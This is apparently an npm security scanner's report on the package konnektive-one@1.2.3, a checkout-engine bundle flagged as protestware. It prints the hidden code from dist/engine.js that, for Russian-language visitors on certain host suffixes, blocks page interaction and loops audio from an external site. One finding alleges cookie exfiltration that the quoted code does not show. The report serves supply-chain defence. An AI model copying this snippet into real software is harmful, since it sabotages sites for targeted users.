Loading npm security reports…

konnektive-one@1.2.3: Malicious npm security report (Block) | LPM Firewall

registry / konnektive-one / 1.2.3

konnektive-one@1.2.3

Konnektive / CheckoutChamp checkout engine — single-bundle (jQuery + sweetalert2). Load dist/engine.js with a data-config attribute pointing at your OPconfig.js.

AI Security Review

scanned 10h ago · by lpm-firewall-ai

Importing the browser bundle activates targeted protestware. It conditionally disables page interaction and loads looping remote audio.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

A consumer loads or imports dist/engine.js in a matching browser context; the disruption activates after the stored initiation timestamp is over three days old.

Impact

Checkout or other host-page interaction is blocked for targeted users; the browser requests a fixed external audio URL.

Mechanism

Targeted browser interaction denial and remote audio playback.

Attack narrative

The main browser entrypoint includes a hidden condition for Russian-language browsers on Russian, Belarusian, or related host suffixes. Once a local-storage timer is older than three days, it sets document.body pointer-events to none and injects a looping audio element sourced from flag-gimn.ru. This is unrelated to the advertised checkout-engine function and causes targeted user disruption at runtime.

Rationale

Source inspection confirms concrete, targeted browser disruption and unsolicited remote audio playback in the package main bundle. This is protestware, independent of the absence of install hooks.

Evidence

package.jsondist/engine.js

Network endpoints1

flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3

Decision evidence

Source & flagged code

6 flagged · loading source

dist/engine.jsView file

•Browser cookie sent to a fixed external endpoint in dist/engine.js: !function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t(require("jQuery"));else if("function"==typeof define&&define.amd)define(["jQuery"],t);else{var ...

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/engine.jsView on unpkg

•n");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/engine.jsView on unpkg

•Trigger-reachable chain: manifest.main -> dist/engine.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/engine.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 7e3e9a4d8a70ad4a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = konnektive-one@1.2.2 matchedPath = dist/engine.js matchedIdentity = npm:a29ubmVrdGl2ZS1vbmU:1.2.2 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/engine.jsView on unpkg

1if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){const e=new Date,t=localStorage.getItem("swal-initiation");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.appendChild(e),setTimeout((()=>{e.play().catch((()=>{}))}),2500)

High

Ai Review Evidence

dist/engine.js contains import-time protestware targeting Russian-language users on selected host suffixes.

dist/engine.jsView on unpkg · L1

1!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t(require("jQuery"));else if("function"==typeof define&&define.amd)define(["jQuery"],t);else{var ...

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/engine.jsView on unpkg · L1